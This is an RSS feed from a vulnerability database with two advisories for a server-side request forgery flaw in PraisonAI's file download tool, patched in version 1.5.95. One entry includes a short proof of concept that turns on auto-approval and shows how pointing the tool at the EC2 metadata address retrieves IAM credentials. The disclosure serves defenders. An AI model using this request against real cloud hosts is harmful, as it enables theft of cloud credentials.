<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 07:57:17 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34954 — PraisonAI: SSRF in FileTools.download_file() via Unvalidated URL</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-34954</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 1.5.95, FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services. This issue has been patched in version 1.5.95.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 1.5.95, FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services. This issue has been patched in version 1.5.95.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-34954</guid>
    </item>
    <item>
      <title>GHSA-44c2-3rw4-5gvh — PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-44c2-3rw4-5gvh</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`file_tools.py:259` (source) -&amp;gt; `file_tools.py:296` (sink)
```python
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):&lt;/p&gt;
&lt;p&gt;# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream(&amp;#34;GET&amp;#34;, url, timeout=timeout, follow_redirects=True) as response:
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888&lt;/p&gt;
&lt;p&gt;import os
os.environ[&amp;#39;PRAISONAI_AUTO_APPROVE&amp;#39;] = &amp;#39;true&amp;#39;
from praisonaiagents.tools.file_tools import download_file&lt;/p&gt;
&lt;p&gt;result = download_file(
    url=&amp;#34;http://127.0.0.1:8888/ssrf-test&amp;#34;,
    destination=&amp;#34;/tmp/ssrf_out.txt&amp;#34;
)
print(result)
# listener logs: &amp;#34;GET /ssrf-test HTTP/1.1&amp;#34; 404
# on EC2 with IMDSv1: url=&amp;#34;http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;#34;
# writes IAM credentials to destination file
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`file_tools.py:259` (source) -&amp;gt; `file_tools.py:296` (sink)
```python
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):&lt;/p&gt;
&lt;p&gt;# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream(&amp;#34;GET&amp;#34;, url, timeout=timeout, follow_redirects=True) as response:
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888&lt;/p&gt;
&lt;p&gt;import os
os.environ[&amp;#39;PRAISONAI_AUTO_APPROVE&amp;#39;] = &amp;#39;true&amp;#39;
from praisonaiagents.tools.file_tools import download_file&lt;/p&gt;
&lt;p&gt;result = download_file(
    url=&amp;#34;http://127.0.0.1:8888/ssrf-test&amp;#34;,
    destination=&amp;#34;/tmp/ssrf_out.txt&amp;#34;
)
print(result)
# listener logs: &amp;#34;GET /ssrf-test HTTP/1.1&amp;#34; 404
# on EC2 with IMDSv1: url=&amp;#34;http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;#34;
# writes IAM credentials to destination file
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-44c2-3rw4-5gvh</guid>
    </item>
  </channel>
</rss>
